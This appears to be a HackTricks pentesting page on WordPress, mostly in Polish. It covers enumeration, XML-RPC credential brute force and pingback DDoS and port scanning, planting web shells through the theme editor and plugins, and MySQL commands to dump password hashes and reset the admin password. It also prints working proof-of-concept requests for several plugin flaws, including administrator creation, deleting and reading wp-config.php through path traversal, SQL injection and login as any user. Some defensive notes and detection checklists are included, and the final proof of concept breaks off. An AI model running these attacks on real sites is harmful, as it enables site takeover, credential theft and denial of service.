Wordpress
Reading time: 32 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
-
Przesłane pliki trafiają do:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Pliki motywów można znaleźć w /wp-content/themes/, więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE, prawdopodobnie będziesz korzystać z tej ścieżki. Na przykład: używając theme twentytwelve możesz dostęp do pliku 404.php pod adresem: /wp-content/themes/twentytwelve/404.php
-
Inny przydatny adres URL może być: /wp-content/themes/default/404.php
-
W wp-config.php możesz znaleźć hasło roota do bazy danych.
-
Domyślne ścieżki logowania do sprawdzenia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Główne pliki WordPress
index.php
license.txt
zawiera przydatne informacje, takie jak zainstalowana wersja WordPress.wp-activate.php
jest używany do procesu aktywacji przez e-mail przy zakładaniu nowej witryny WordPress.- Foldery logowania (mogą być przemianowane, aby je ukryć):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
to plik reprezentujący funkcję WordPress umożliwiającą przesyłanie danych z użyciem HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez WordPress REST API.- Folder
wp-content
to główny katalog, w którym przechowywane są pluginy i motywy. wp-content/uploads/
to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę.wp-includes/
to katalog, gdzie przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.wp-sitemap.xml
W wersjach WordPress 5.5 i nowszych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie queryable typami postów i taksonomiami.
Post exploitation
- Plik
wp-config.php
zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.
Uprawnienia użytkowników
- Administrator
- Editor: Publikuje i zarządza własnymi i cudzymi wpisami
- Author: Publikuje i zarządza własnymi wpisami
- Contributor: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
- Subscriber: Przegląda wpisy i edytuje swój profil
Passive Enumeration
Sprawdź wersję WordPress
Sprawdź, czy możesz znaleźć pliki /license.txt
lub /readme.html
W kodzie źródłowym strony (przykład z https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Pliki linków CSS
- Pliki JavaScript
Pobierz wtyczki
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Pobierz motywy
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Wyodrębnianie wersji — ogólnie
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktywna enumeracja
Wtyczki i motywy
Prawdopodobnie nie uda Ci się znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał actively Brute Force a list of Plugins and Themes (miejmy nadzieję, że istnieją zautomatyzowane narzędzia zawierające te listy).
Użytkownicy
- ID Brute: Uzyskujesz poprawnych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników:
curl -s -I -X GET http://blog.example.com/?author=1
Jeśli odpowiedzi mają status 200 lub 30X, to oznacza, że id jest prawidłowe. Jeśli odpowiedź ma status 400, to id jest nieprawidłowe.
- wp-json: Możesz także spróbować uzyskać informacje o użytkownikach, zapytując:
curl http://blog.example.com/wp-json/wp/v2/users
Kolejny endpoint /wp-json/
, który może ujawnić pewne informacje o użytkownikach, to:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali wpis. Dostarczone będą tylko informacje o użytkownikach, którzy mają tę funkcję włączoną.
Również zwróć uwagę, że /wp-json/wp/v2/pages może powodować leak adresów IP.
- Login username enumeration: Podczas logowania w
/wp-login.php
komunikat jest inny i wskazuje, czy podany username istnieje czy nie.
XML-RPC
Jeśli xml-rpc.php
jest aktywny, możesz przeprowadzić brute-force poświadczeń lub użyć go do przeprowadzenia DoS na inne zasoby. (Możesz zautomatyzować ten proces using this na przykład).
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do /xmlrpc.php i wysłać to żądanie:
Sprawdź
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
lub metaWeblog.getUsersBlogs
są niektórymi z metod, które można użyć do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Komunikat "Nieprawidłowa nazwa użytkownika lub hasło" w odpowiedzi z kodem 200 powinien się pojawić, jeśli dane logowania są nieprawidłowe.
Używając poprawnych danych logowania możesz przesłać plik. W odpowiedzi pojawi się ścieżka (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall
as you can try several credentials on the same request:
.png)
Bypass 2FA
Metoda ta jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli więc masz ważne creds, ale główny dostęp jest chroniony przez 2FA, możesz być w stanie wykorzystać xmlrpc.php, aby zalogować się tymi creds, omijając 2FA. Zauważ, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak wyjaśnia Ippsec w https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress to scan some internal network (you can indicate any port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Jeśli otrzymasz faultCode o wartości większej niż 0 (17), oznacza to, że port jest otwarty.
Zwróć uwagę na użycie system.multicall
w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ten plik zwykle znajduje się w katalogu root strony Wordpress: /wp-cron.php
Kiedy do tego pliku jest uzyskany dostęp, wykonywane jest "heavy" MySQL query, więc może być użyty przez atakujących do spowodowania DoS.
Ponadto, domyślnie wp-cron.php
jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co na stronach o dużym ruchu może powodować problemy (DoS).
Zaleca się wyłączyć Wp-Cron i utworzyć prawdziwe cronjob na hoście, które będą wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów).
/wp-json/oembed/1.0/proxy - SSRF
Spróbuj uzyskać dostęp do https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net a strona Worpress może wysłać żądanie do Ciebie.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
To narzędzie sprawdza, czy istnieje methodName: pingback.ping oraz ścieżka /wp-json/oembed/1.0/proxy, a jeśli tak, próbuje je wykorzystać.
Narzędzia automatyczne
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Uzyskanie dostępu przez nadpisanie bitu
To bardziej ciekawostka niż prawdziwy atak. W CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man można było zmienić 1 bit w dowolnym pliku wordpress. Dzięki temu można było zmienić bit na pozycji 5389
w pliku /var/www/html/wp-includes/user.php
, aby zastąpić operację NOT (!
) instrukcją NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modyfikacja pliku php w używanym motywie (admin credentials needed)
Wygląd → Edytor motywu → Szablon 404 (po prawej)
Zmień zawartość na php shell:
Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Możesz użyć:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
Może być możliwe przesłanie plików .php jako wtyczki.
Utwórz swój backdoor w PHP używając na przykład:
Następnie dodaj nową wtyczkę:
Prześlij wtyczkę i naciśnij "Install Now":
Kliknij "Proceed":
Prawdopodobnie pozornie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:
Otwórz go, a zobaczysz URL do wykonania reverse shell:
Uploading and activating malicious plugin
Ta metoda polega na instalacji złośliwej wtyczki znanej z podatności, którą można wykorzystać do uzyskania web shella. Proces przeprowadza się przez WordPress dashboard w następujący sposób:
- Plugin Acquisition: Wtyczka jest pobierana ze źródła takiego jak Exploit DB, np. here.
- Plugin Installation:
- Przejdź do pulpitu WordPress, następnie do
Dashboard > Plugins > Upload Plugin
. - Prześlij plik zip z pobraną wtyczką.
- Plugin Activation: Po pomyślnej instalacji wtyczka musi zostać aktywowana poprzez pulpit.
- Exploitation:
- Po zainstalowaniu i aktywowaniu wtyczki "reflex-gallery" można ją wykorzystać, ponieważ jest znana z podatności.
- Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony.
- Należy zaznaczyć, że jest to tylko jedna z wielu metod eksploatacji strony WordPress.
Treść zawiera ilustracje przedstawiające kroki w dashboardzie WordPress związane z instalacją i aktywacją wtyczki. Ważne jest jednak, aby pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być wykorzystywane odpowiedzialnie i jedynie w kontekście prawnym, np. podczas testów penetracyjnych z wyraźnym pozwoleniem.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike to skrypt zaprojektowany do eskalacji podatności typu Cross-Site Scripting (XSS) do Remote Code Execution (RCE) lub innych krytycznych podatności w WordPress. Po więcej informacji zobacz this post. Dostarcza wsparcie dla wersji Wordpress 6.X.X, 5.X.X i 4.X.X i pozwala na:
- Privilege Escalation: Tworzy użytkownika w WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Wgraj swój niestandardowy plugin (backdoor) do WordPress.
- (RCE) Built-In Plugin Edit: Edytuj wbudowane wtyczki w WordPress.
- (RCE) Built-In Theme Edit: Edytuj wbudowane motywy w WordPress.
- (Custom) Custom Exploits: Niestandardowe exploity dla wtyczek/motywów firm trzecich WordPress.
Post Exploitation
Wyodrębnij nazwy użytkowników i hasła:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Zmień admin password:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest wtyczek Wordpress
Powierzchnia ataku
Znajomość sposobu, w jaki wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa do znalezienia podatności w jej funkcjonalnościach. Możesz znaleźć, jak wtyczka może udostępniać funkcje, w poniższych punktach oraz kilka przykładów podatnych wtyczek w this blog post.
wp_ajax
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, jest za pośrednictwem AJAX handlers. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często funkcje te będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które każdy użytkownik uwierzytelniony w instancji Wordpress może mieć (niezależnie od jego roli).
To są funkcje, które mogą być użyte do udostępnienia funkcji we wtyczce:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Użycie nopriv
sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).
caution
Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji wp_verify_nonce
, to ta funkcja tylko weryfikuje, czy użytkownik jest zalogowany, zwykle nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do działań wymagających wyższych uprawnień.
- REST API
Możliwe jest również udostępnienie funkcji z wordpress poprzez zarejestrowanie REST API za pomocą funkcji register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
jest funkcją zwrotną, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
Jeśli użyta zostanie wbudowana funkcja __return_true
, po prostu pominie sprawdzenie uprawnień użytkownika.
- Bezpośredni dostęp do pliku PHP
Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z internetu. Jeśli wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest uruchamiana po samym dostępie do pliku, będzie ona możliwa do wykorzystania przez dowolnego użytkownika.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Niektóre wtyczki implementują skróty “trusted header” dla integracji wewnętrznych lub reverse proxy i następnie używają tego nagłówka do ustawienia kontekstu bieżącego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i uzyskać dostęp do uprzywilejowanych tras REST jako administrator.
- Impact: eskalacja uprawnień bez uwierzytelnienia do administratora przez utworzenie nowego administratora za pomocą core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(wymusza user ID 1, zazwyczaj pierwsze konto administratora). - Exploited route:
POST /wp-json/wp/v2/users
with an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Why it works
- The plugin maps a client-controlled header to authentication state and skips capability checks.
- WordPress core expects
create_users
capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
Expected success indicators
- HTTP 201 with a JSON body describing the created user.
- A new admin user visible in
wp-admin/users.php
.
Detection checklist
- Grep for
getallheaders()
,$_SERVER['HTTP_...']
, or vendor SDKs that read custom headers to set user context (e.g.,wp_set_current_user()
,wp_set_auth_cookie()
). - Review REST registrations for privileged callbacks that lack robust
permission_callback
checks and instead rely on request headers. - Look for usages of core user-management functions (
wp_insert_user
,wp_create_user
) inside REST handlers that are gated only by header values.
Nieautoryzowane dowolne usuwanie plików przez wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_
and wp_ajax_nopriv_
hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()
or at leastis_user_logged_in()
), and - A CSRF nonce validated with
check_ajax_referer()
/wp_verify_nonce()
, and - Strict input sanitisation / validation.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemy wprowadzone przez ten fragment:
- Dostęp bez uwierzytelnienia – hook
wp_ajax_nopriv_
jest zarejestrowany. - Brak sprawdzenia nonce / uprawnień – każdy odwiedzający może trafić w endpoint.
- Brak sanityzacji ścieżki – ciąg kontrolowany przez użytkownika
fontfamily
jest konkatenowany do ścieżki systemu plików bez filtrowania, umożliwiając klasyczne przejście../../
.
Eksploatacja
Atakujący może usunąć dowolny plik lub katalog poniżej katalogu bazowego uploads (zwykle <wp-root>/wp-content/uploads/
) wysyłając jedno żądanie HTTP POST:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php
lives outside uploads, four ../
sequences are enough on a default installation. Deleting wp-config.php
forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php
files (to break security plugins) or .htaccess
rules.
Detection checklist
- Any
add_action( 'wp_ajax_nopriv_...')
callback that calls filesystem helpers (copy()
,unlink()
,$wp_filesystem->delete()
, etc.). - Concatenation of unsanitised user input into paths (look for
$_POST
,$_GET
,$_REQUEST
). - Absence of
check_ajax_referer()
andcurrent_user_can()
/is_user_logged_in()
.
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']
) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username>
if the username appeared in an internal array $options['viewing_admin_as_role_are']
, but performed neither a current_user_can()
check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Dlaczego jest to podatne
- Polega na zaufaniu do
$_REQUEST['reset-for']
i opcji wtyczki bez autoryzacji po stronie serwera. - Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w
_asenha_view_admin_as_original_roles
i został zdegradowany, może je przywrócić, przechodząc na ścieżkę resetu. - W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika nadal obecnej w
viewing_admin_as_role_are
(błędna autoryzacja).
Eksploatacja (przykład)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
W podatnych wersjach usuwa to bieżące role i ponownie dodaje zapisane oryginalne role (np. administrator
), efektywnie eskalując uprawnienia.
Detection checklist
- Szukaj funkcji przełączania ról, które przechowują “oryginalne role” w user meta (np.
_asenha_view_admin_as_original_roles
). - Zidentyfikuj ścieżki reset/restore, które:
- Odczytują nazwy użytkowników z
$_REQUEST
/$_GET
/$_POST
. - Modyfikują role przez
add_role()
/remove_role()
bezcurrent_user_can()
iwp_verify_nonce()
/check_admin_referer()
. - Autoryzują na podstawie opcji pluginu (np.
viewing_admin_as_role_are
) zamiast uprawnień aktora.
Eskalacja uprawnień bez uwierzytelnienia przez przełączanie użytkownika polegające na zaufaniu do cookie na publicznym hooku init
(Service Finder “sf-booking”)
Niektóre pluginy podłączają pomocniki przełączania użytkownika do publicznego hooka init
i odczytują tożsamość z cookie kontrolowanego przez klienta. Jeśli kod wywołuje wp_set_auth_cookie()
bez weryfikacji uwierzytelnienia, uprawnień i ważnego nonce, dowolny niezalogowany odwiedzający może wymusić logowanie jako dowolny identyfikator użytkownika.
Typowy podatny wzorzec (uproszczony z Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Dlaczego jest podatne
- Publiczny hook
init
sprawia, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczeniais_user_logged_in()
). - Tożsamość pochodzi z ciasteczka modyfikowalnego po stronie klienta (
original_user_id
). - Bezpośrednie wywołanie
wp_set_auth_cookie($uid)
loguje osobę wysyłającą żądanie jako tego użytkownika bez żadnych sprawdzeń uprawnień ani nonce.
Eksploatacja (bez uwierzytelnienia)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Rozważania dotyczące WAF dla WordPress/plugin CVEs
Ogólne WAFy brzegowe/serwerowe są skonfigurowane pod kątem szerokich wzorców (SQLi, XSS, LFI). Wiele wysokowpływowych luk WordPress/plugin to błędy logiki/specyfiki aplikacji i autoryzacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów.
Offensive notes
- Celuj w endpointy specyficzne dla pluginów z czystymi payloadami:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Sprawdź najpierw ścieżki nieautoryzowane (AJAX
nopriv
, REST z permisywnympermission_callback
, public shortcodes). Domyślne payloady często działają bez obfuskacji. - Typowe przypadki o wysokim wpływie: eskalacja uprawnień (zepsuta kontrola dostępu), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
Defensive notes
- Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Zaimplementuj łatki wirtualne specyficzne dla podatności na warstwie aplikacji lub szybko aktualizuj.
- Preferuj podejście pozytywnej polityki bezpieczeństwa w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.
WordPress Protection
Regular Updates
Upewnij się, że WordPress, pluginy i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ponadto, instaluj tylko zaufane wtyczki i motywy WordPress.
Wtyczki zabezpieczające
Inne zalecenia
- Usuń domyślnego użytkownika admin
- Używaj silnych haseł i 2FA
- Okresowo przeglądaj uprawnienia użytkowników
- Ogranicz liczbę prób logowania, aby zapobiec atakom Brute Force
- Zmień nazwę pliku
wp-admin.php
i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
The WP Job Portal recruitment plugin exposed a savecategory task that ultimately executes the following vulnerable code inside modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemy wprowadzone przez ten fragment:
- Niesanitizowane dane wejściowe użytkownika –
parentid
pochodzi bezpośrednio z żądania HTTP. - Łączenie łańcuchów znaków w klauzuli WHERE – brak
is_numeric()
/esc_sql()
/ prepared statement. - Dostęp bez uwierzytelnienia – chociaż akcja wykonywana jest przez
admin-post.php
, jedyna kontrola to CSRF nonce (wp_verify_nonce()
), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode[wpjobportal_my_resumes]
.
Wykorzystanie
- Pobierz świeży nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Wstrzyknij dowolne zapytanie SQL, wykorzystując
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, co potwierdza SQLi.
Nieautoryzowane pobieranie dowolnych plików / Path Traversal (WP Job Portal <= 2.3.2)
Inna akcja, downloadcustomfile, pozwalała odwiedzającym pobrać dowolny plik z dysku poprzez path traversal. Wrażliwy punkt znajduje się w modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
jest kontrolowany przez atakującego i konkatenowany bez filtrowania. Ponownie, jedyną przeszkodą jest CSRF nonce, który można pobrać ze strony CV.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Serwer zwraca zawartość wp-config.php
, leaking DB credentials and auth keys.
Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Wiele motywów/wtyczek dostarcza helpery "social login" udostępnione przez admin-ajax.php. Jeśli nieuwierzytelniona akcja AJAX (wp_ajax_nopriv_...) ufa identyfikatorom przesłanym przez klienta, gdy brak danych providera, a następnie wywołuje wp_set_auth_cookie(), to staje się to pełnym obejściem uwierzytelniania.
Typowy wadliwy wzorzec (uproszczony)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Dlaczego jest to podatne
- Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action).
- Brak sprawdzeń nonce/capability przed zmianą stanu.
- Brak weryfikacji OAuth/OpenID provider; gałąź domyślna akceptuje dane wejściowe od attacker.
- get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) powoduje uwierzytelnienie requestera jako dowolny istniejący adres e-mail.
Wykorzystanie (unauthenticated)
- Wymagania wstępne: attacker może dotrzeć do /wp-admin/admin-ajax.php i zna/zgaduje prawidłowy adres e-mail użytkownika.
- Ustaw provider na nieobsługiwaną wartość (lub pomiń go), by trafić do gałęzi domyślnej i przekazać id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
